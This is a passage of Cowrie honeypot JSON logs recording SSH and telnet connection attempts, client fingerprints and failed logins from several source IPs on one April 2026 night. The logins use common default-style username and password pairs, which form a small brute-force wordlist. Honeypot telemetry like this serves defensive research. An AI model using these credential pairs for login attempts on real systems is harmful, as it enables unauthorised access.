af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:22.852582Z","src_ip":"45.232.73.84","session":"ab72c4cf7ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123!@#","message":"login attempt [root/root@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:23.394750Z","src_ip":"45.232.73.84","session":"ab72c4cf7ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:23.774514Z","src_ip":"152.32.163.183","session":"5bf4d9d4a009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:24.527997Z","src_ip":"45.232.73.84","session":"ab72c4cf7ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":40558,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1cb7e361b7","protocol":"telnet","message":"New connection: 149.255.39.70:40558 (10.17.0.5:23) [session: 9e1cb7e361b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:36.469380Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60914,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4aa4a1e307","protocol":"ssh","message":"New connection: 159.203.92.129:60914 (159.203.135.109:22) [session: 0a4aa4a1e307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:47.796026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:47.801427Z","src_ip":"159.203.92.129","session":"0a4aa4a1e307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:47.807327Z","src_ip":"159.203.92.129","session":"0a4aa4a1e307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"admins","message":"login attempt [admins/admins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:47.824958Z","src_ip":"159.203.92.129","session":"0a4aa4a1e307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:20:48.831658Z","src_ip":"159.203.92.129","session":"0a4aa4a1e307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1690833568573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:07.638316Z","src_ip":"149.255.39.70","session":"9e1cb7e361b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":54784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4aeaaaac995","protocol":"ssh","message":"New connection: 45.232.73.84:54784 (159.203.135.109:22) [session: a4aeaaaac995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:24.489891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:24.494260Z","src_ip":"45.232.73.84","session":"a4aeaaaac995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:24.622140Z","src_ip":"45.232.73.84","session":"a4aeaaaac995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temporal","message":"login attempt [root/temporal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:25.157860Z","src_ip":"45.232.73.84","session":"a4aeaaaac995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:26.294332Z","src_ip":"45.232.73.84","session":"a4aeaaaac995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58472,"dst_ip":"159.203.135.109","dst_port":22,"session":"7becbad99801","protocol":"ssh","message":"New connection: 159.203.92.129:58472 (159.203.135.109:22) [session: 7becbad99801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:29.905814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:29.910437Z","src_ip":"159.203.92.129","session":"7becbad99801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:29.919480Z","src_ip":"159.203.92.129","session":"7becbad99801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"admins123","message":"login attempt [admins/admins123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:29.931055Z","src_ip":"159.203.92.129","session":"7becbad99801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:30.940957Z","src_ip":"159.203.92.129","session":"7becbad99801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":30218,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a8133a6f57","protocol":"ssh","message":"New connection: 152.32.163.183:30218 (10.17.0.5:22) [session: a5a8133a6f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:32.470796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:32.476717Z","src_ip":"152.32.163.183","session":"a5a8133a6f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:33.676123Z","src_ip":"152.32.163.183","session":"a5a8133a6f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"1234","message":"login attempt [webuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:34.414095Z","src_ip":"152.32.163.183","session":"a5a8133a6f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:21:35.661789Z","src_ip":"152.32.163.183","session":"a5a8133a6f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51278,"dst_ip":"159.203.135.109","dst_port":22,"session":"3729c7fc0e78","protocol":"ssh","message":"New connection: 194.59.206.2:51278 (159.203.135.109:22) [session: 3729c7fc0e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:03.501161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:03.564264Z","src_ip":"194.59.206.2","session":"3729c7fc0e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:03.589006Z","src_ip":"194.59.206.2","session":"3729c7fc0e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:03.765212Z","src_ip":"194.59.206.2","session":"3729c7fc0e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40348,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b296bc87707","protocol":"ssh","message":"New connection: 159.203.92.129:40348 (159.203.135.109:22) [session: 9b296bc87707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:11.926464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:11.930953Z","src_ip":"159.203.92.129","session":"9b296bc87707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:11.935745Z","src_ip":"159.203.92.129","session":"9b296bc87707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"111111","message":"login attempt [adminuser/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:11.949458Z","src_ip":"159.203.92.129","session":"9b296bc87707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:12.955629Z","src_ip":"159.203.92.129","session":"9b296bc87707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":43540,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e056c0a3d4","protocol":"ssh","message":"New connection: 45.232.73.84:43540 (159.203.135.109:22) [session: 64e056c0a3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:25.753605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:25.762318Z","src_ip":"45.232.73.84","session":"64e056c0a3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:25.888380Z","src_ip":"45.232.73.84","session":"64e056c0a3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwer1234","message":"login attempt [git/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:26.383004Z","src_ip":"45.232.73.84","session":"64e056c0a3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:27.510560Z","src_ip":"45.232.73.84","session":"64e056c0a3d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34268,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d4c2d97261","protocol":"ssh","message":"New connection: 159.203.92.129:34268 (159.203.135.109:22) [session: 65d4c2d97261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:54.016439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:54.021896Z","src_ip":"159.203.92.129","session":"65d4c2d97261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","dif